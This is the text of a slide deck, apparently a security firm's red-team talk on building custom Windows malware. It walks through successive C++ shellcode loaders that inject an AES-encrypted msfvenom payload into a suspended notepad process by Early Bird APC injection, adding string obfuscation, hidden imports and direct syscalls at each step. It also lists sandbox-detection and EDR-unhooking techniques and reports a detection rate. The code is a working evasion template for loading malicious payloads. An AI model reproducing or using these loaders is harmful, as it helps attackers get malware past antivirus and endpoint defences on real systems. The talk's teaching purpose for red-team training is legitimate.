  • 43. 43 Tiny-AES-c in Action Before and After ©2022 IOActive, Inc. All rights reserved. Unencrypted Encrypted
  • 44. 44 ▸ The key and IV are not obfuscated, which means the shellcode can be easily decrypted. Key/IV Obfuscation ©2022 IOActive, Inc. All rights reserved.
  • 45. 45 Hiding the Key and IV ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include "libs/aes.hpp" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ }; unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 }; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcess(L"C:WindowsSystem32notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } Stack them!
  • 46. 46 Key/IV Obfuscation Before and After ©2022 IOActive, Inc. All rights reserved. Unobfuscated Obfuscated
  • 48. 48 ▸ Strings are stored in cleartext within the binary. String Obfuscation ©2022 IOActive, Inc. All rights reserved.
  • 49. 49 ▸ skadro-official/skCrypter ▸ JustasMasiulis/xorstr ▸ qis/xorstr ▸ TyrarFox/encstr ▸ adamyaxley/Obfuscate ▸ andrivet/ADVobfuscator (Some of the) Available Libraries ©2022 IOActive, Inc. All rights reserved.
  • 50. 50 skCrypter in Action ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include "libs/aes.hpp” #include "libs/skCrypter.h" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ }; unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 }; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcess(skCrypt(L"C:WindowsSystem32notepad.exe"), NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); LPVOID bufferAddr = VirtualAllocEx(pi.hProcess, NULL, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(pi.hProcess, bufferAddr, shellcode, shellcodeSize, NULL); QueueUserAPC((PAPCFUNC)bufferAddr, pi.hThread, NULL); ResumeThread(pi.hThread); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } String is passed into the skCrypt() function.
  • 51. 51 String Obfuscation Before and After ©2022 IOActive, Inc. All rights reserved. String is visible String is not visible
  • 53. 53 ▸ IAT stores the addresses of functions imported from DLLs ▸ A combination of specific/malicious WinAPI calls (e.g., VirtualAllocEx(), WriteProcessMemory(), etc.) is a red flag ▸ Direct syscalls can be used but some native APIs, such as NtCreateUserProcess(), is hard to use Import Address Table (IAT) Obfuscation ©2022 IOActive, Inc. All rights reserved.
  • 54. 54 Import Address Table (IAT) Obfuscation ©2022 IOActive, Inc. All rights reserved.
  • 55. 55 ▸ JustasMasiulis/lazy_importer ▸ AmJayden/Lazy-Importer ▸ SaulBerrenson/WinApiObfuscator (Some of the) Available Libraries ©2022 IOActive, Inc. All rights reserved.
  • 56. 56 lazy_importer in Action ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include "libs/aes.hpp” #include "libs/skCrypter.h” #include "libs/lazy_importer.hpp" int main() { // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcoade); unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ }; unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 }; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; LI_FN(CreateProcessW)(skCrypt(L"C:WindowsSystem32notepad.exe"), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi); LPVOID bufferAddr = LI_FN(VirtualAllocEx)(pi.hProcess, nullptr, shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); LI_FN(WriteProcessMemory)(pi.hProcess, bufferAddr, shellcode, shellcodeSize, nullptr); LI_FN(QueueUserAPC)((PAPCFUNC)bufferAddr, pi.hThread, NULL); LI_FN(ResumeThread)(pi.hThread); LI_FN(CloseHandle)(pi.hProcess); LI_FN(CloseHandle)(pi.hThread); } WinAPIs are now passed into the LI_FN()function.
  • 57. 57 Import Address Table (IAT) Obfuscation Before and After ©2022 IOActive, Inc. All rights reserved. WinAPIs used are visible WinAPIs used are not visible
  • 59. 59 ▸ Virtual Environment Detection ▸ Hardware resources (CPU, RAM, vendor ID, screen resolution, etc.) ▸ Human-like behavior (mouse movement, recently opened docs, etc.) ▸ Running processes (vmtoolsd.exe, procmon.exe, windbg.exe, etc.) ▸ Environment Keying ▸ Implant will only run in a specific target (e.g., checking the domain name) ▸ Using the environment (e.g., domain name) as decryption key ▸ Timing Attacks ▸ Execution delay (e.g., using Sleep(), NtDelayExecution(), etc.) ▸ And more… Defeating Sandboxes ©2022 IOActive, Inc. All rights reserved.
  • 60. 60 ▸ https://github.com/LordNoteworthy/al-khaser ▸ https://github.com/a0rtega/pafish ▸ https://evasions.checkpoint.com/techniques/timing.html (Some of the) Available Resources ©2022 IOActive, Inc. All rights reserved.
  • 62. 62 ▸ AV/EDR injects its DLL in newly created processes ▸ The DLL “hooks” specific/malicious API calls (exported and/or unexported) ▸ Hooking is done by replacing the first instructions of the hooked function with a JMP instruction to a routine inside the AV/EDR DLL ▸ AV/EDR then analyzes the parameters passed, sequence of API calls used, etc. ▸ If it identified as malicious, the process will be terminated ▸ Otherwise, execution will jump back to the hooked function How API Hooking Works ©2022 IOActive, Inc. All rights reserved.
  • 63. 63 How WinAPI Works ©2022 IOActive, Inc. All rights reserved.
  • 64. 64 How API Hooking Works ©2022 IOActive, Inc. All rights reserved.
  • 65. 65 ▸ Avoiding the use of hooked APIs ▸ Use uncommon/unsuspicious APIs or functions ▸ Patching the patch ▸ Restore the original instructions that was overwritten by AV/EDR ▸ DLL Unhooking ▸ Replace the DLL (e.g., ntdll.dll)in memory (tampered by AD/EDR) with a clean copy stored on disk ▸ Direct syscalls ▸ Invoke the API’s corresponding assembly code Bypassing Userland Hooks ©2022 IOActive, Inc. All rights reserved.
  • 66. 66 ▸ JustasMasiulis/inline_syscall ▸ jthuraisamy/SysWhispers2 ▸ klezVirus/SysWhispers3 ▸ hlldz/RefleXXion (Some of the) Available Libraries ©2022 IOActive, Inc. All rights reserved.
  • 67. 67 inline_syscall in Action Generating structs and typedefs ©2022 IOActive, Inc. All rights reserved. $ python3 syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread,NtResumeThread,NtClose -o syscalls . ,--. ,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-. / `-. | | `-. |/|/ | | | `-. | | |-' | `-. ,-' `-' `-| `-' ' ' ' ' ' `-' |-' `-' ' `-' `--- /| | @Jackson_T `-' ' @modexpblog, 2021 SysWhispers2: Why call the kernel when you can whisper? Complete! Files written to: syscalls.h syscalls.c syscallsstubs.x86.asm syscallsstubs.x86.nasm syscallsstubs.x86.s syscallsstubs.x64.asm syscallsstubs.x64.nasm syscallsstubs.x64.s TIP: Use SysWhispers2 to lessen the burden of getting the correct structs and typedefs.
  • 68. 68 inline_syscall in Action ©2022 IOActive, Inc. All rights reserved. #include <Windows.h> #include "structs/syscalls.h" #include "libs/aes.hpp” #include "libs/skCrypter.h” #include "libs/lazy_importer.hpp” #include "libs/in_memory_init.hpp" int main() { jm::init_syscalls_list(); // msfvenom -p windows/x64/messagebox TEXT="I'm a malware author now" -f c unsigned char shellcode[] = "x31xb4x0fx9cx41[...SNIP...]x69xd9x96x09x08xce"; SIZE_T shellcodeSize = sizeof(shellcode); unsigned char key[] = { 'M', 'a', 'l', 'w', 'a', 'r', 'e', '.', 'D', 'e', 'v', 'e', 'l', 'o', 'p', 'm', 'e', 'n', 't', '.', 'I', 's', '.', 'S', 'o', 'A', 'w', 'e', 's', 'o', 'm', 'e’ }; unsigned char iv[] = { 0xcc, 0x21, 0xaf, 0x90, 0x4d, 0x8a, 0xbb, 0x39, 0xac, 0x77, 0x48, 0x64, 0x7d, 0x9c, 0x71, 0xa4 }; struct AES_ctx ctx; AES_init_ctx_iv(&ctx, key, iv); AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize); STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; LI_FN(CreateProcessW)(skCrypt(L"C:WindowsSystem32notepad.exe"), nullptr, nullptr, nullptr, FALSE, CREATE_SUSPENDED, nullptr, nullptr, &si, &pi); LPVOID bufferAddr = NULL; INLINE_SYSCALL(NtAllocateVirtualMemory)(pi.hProcess, &bufferAddr, 0, &shellcodeSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); INLINE_SYSCALL(NtWriteVirtualMemory)(pi.hProcess, bufferAddr, &shellcode, shellcodeSize, NULL); INLINE_SYSCALL(NtQueueApcThread)(pi.hThread, (PKNORMAL_ROUTINE)bufferAddr, bufferAddr, NULL, NULL); INLINE_SYSCALL(NtResumeThread)(pi.hThread, NULL); INLINE_SYSCALL(NtClose)(pi.hProcess); INLINE_SYSCALL(NtClose)(pi.hThread); } required Make sure to use LLVM (clang-cl) as the Platform Toolset
  • 69. 69 inline_syscall in Action Running the updated Code ©2022 IOActive, Inc. All rights reserved. Make sure to use LLVM (clang-cl) as the Platform Toolset
  • 71. 71 ▸ Direct syscalls and native API functions (mostly) ▸ Import Address Table (IAT) evasion ▸ Encrypted payload (XOR and AES) ▸ Randomly generated key ▸ Automatic padding (if necessary) of payload with NOPS (x90) ▸ Byte-by-byte in-memory decryption of payload ▸ XOR-encrypted strings ▸ PPID spoofing ▸ Blocking of non-Microsoft-signed DLLs ▸ (Optional) Cloning of PE icon and attributes ▸ (Optional) Code signing with spoofed cert Features ©2022 IOActive, Inc. All rights reserved.
  • 72. 72 1. Early-bird APC Queue (requires sacrificial process) 2. Thread Hijacking (requires sacrificial process) 3. KernelCallbackTable (requires sacrificial process that has a GUI) 4. Section View Mapping 5. Thread Suspension 6. LineDDA Callback 7. EnumSystemGeoID Callback 8. Fiber Local Storage (FLS) Callback 9. SetTimer 10.Clipboard Shellcode Execution Methods ©2022 IOActive, Inc. All rights reserved.
  • 73. 73 ▸ kokke/tiny-AES-c ▸ skadro-official/skCrypter ▸ JustasMasiulis/lazy_importer ▸ JustasMasiulis/inline_syscall Libraries Used ©2022 IOActive, Inc. All rights reserved.
  • 74. Demo
  • 75. 75 ©2022 IOActive, Inc. All rights reserved.
  • 77. 77 Detection Rate ©2022 IOActive, Inc. All rights reserved. Make sure to use LLVM (clang-cl) as the Platform Toolset
  • 79. 79 PROs ▸ Will work (most of the time) right out of the box ▸ Easy to use ▸ Saves a lot of time ▸ Saves you from banging your head CONs ▸ Bigger binary due to unnecessary code ▸ No understanding of what is happening ▸ Libraries might be signatured already Pros & Cons of Using Libraries ©2022 IOActive, Inc. All rights reserved.
  • 80. Where to Go from Here?
  • 81. 81 Keep on Reading ©2022 IOActive, Inc. All rights reserved.
  • 82. 82 Take Courses ©2022 IOActive, Inc. All rights reserved.
  • 83. 83 ▸ @C5pider ▸ @kyleavery_ ▸ @GeKarantzas ▸ @0xBoku ▸ @trickster012 ▸ @s4ntiago_p ▸ @SolomonSklash ▸ @am0nsec ▸ @ilove2pwn_ ▸ @ORCA10K ▸ @rad9800 ▸ @modexpblog ▸ @peterwintrsmith ▸ @passthehashbrwn ▸ @x86matthew ▸ @namazso Follow these Folks (in no particular order) ©2022 IOActive, Inc. All rights reserved. ▸ @__mez0__ ▸ @mariuszbit ▸ @VirtualAllocEx ▸ @KlezVirus ▸ @diversenok_zero ▸ @NinjaParanoid ▸ @waldoirc ▸ @cerbersec
  • 84. 84 Join the Game Hacking Community ©2022 IOActive, Inc. All rights reserved.
  • 85. 85 Join the Game Hacking Community ©2022 IOActive, Inc. All rights reserved.

Notes de l'éditeur

  1. By writing custom malware, just like APTs, red teams could provide more value to customers
  2. Questions I asked before
  3. WinAPI allows the interaction between an application and OS. For example, to display a message box, to get an input from a keyboard, and/or to start a process.
  4. Hard to use since they are undocumented but important to understand as they help with evasion.
  5. One of the documented Windows APIs for creating processes is CreateProcess(). Using this API, the created process runs in the context (meaning the same access token) of the calling process. Execution then continues with a call to CreateProcessInternal(), which is responsible for actually creating the user-mode process. CreateProcessInternal() then calls the undocumented and native API NtCreateUserProcess() (located in ntdll.dll) to shift to kernel-mode.
  6. Examples of commonly used APIs by malware.
  7. It is impossible to identify all malware that exists using static signatures because any change to a particular malware may bypass a particular signature, and perhaps even completely bypass the static engine. 
  8. Sandbox’s memory is limited and execution of code inside the sandbox is time-limited. Some malware checks for the presence of sandboxes/debuggers/virtualized environment. Number of CPU Memory size User interaction (mouse movement) Number of processes running Uptime
  9. Are they well-documented? Are there libraries you could use to ease your coding? When malware is written in a new language, there is a need to create new signatures to detect different variants. For this project, we’ll use C/C++
  10. Important thing is to think about opsec. We don’t want to send an exe via email. Will build an executable (.exe)
  11. Will talk about process injection
  12. If target process is whitelisted, then we can evade detection. If target process is running as admin, then our payload will run as admin. Tons of detection are implemented to detect process injection. Beware!
  13. According to MITRE. Techniques have sub-techniques and have different variations and implementations.
  14. Where to get sample PoCs as our base code? Sources provided are written in C/C++ since it’s the language of choice for this project.
  15. We’ll create CPP project (.cpp file) since most headers used are written in cpp. But we’ll use C when writing the code since that’s the language used by the PoC/skeleton code.
  16. Early Bird APC Queue Code Injection Spawn a process in a suspended state Allocate memory for shellcode Write/inject the shellcode on the allocated memory Queue the APC, which points to the shellcode address, to the main thread Resume the thread
  17. Shellcode is indeed injected in notepad’s memory.
  18. While obfuscation is a good thing, remember that obfuscation yields higher entropy and could be an indicator.
  19. Will use AES to encrypt the shellcode
  20. Not a comprehensive list.
  21. Original shellcode length is 303. Adding NOP (\x90) makes the length to 304, which is a multiple of 16.
  22. Character array cuts the string up in smaller pieces making them more difficult to extract from a binary. Can be done with shellcode as well.
  23. A better approach is to store the key/iv in a separate file, fetch it from Internet source or use environment keying (e.g., DOMAIN NAME) as key.
  24. Not a comprehensive list.
  25. This shows the IAT of our base code and it show the functions that were imported from kernel32.dll
  26. Not a comprehensive list.
  27. Imported functions reduced from 21 to 15.
  28. No header-only libraries were found but these resources contains source codes that can be used.
  29. Hooking is now more commonly done in the latter (native API) because hooking on WinAPI is easier to bypass, by using directly the native API.
  30. By disassembling the ntdll.dll file, it’s possible to get the assembler code for every single function contained. Instead of using functions from ntdll.dll at runtime, we call them directly with their corresponding assembler code.
  31. Not a comprehensive list.
  32. And many more. This is not a complete list.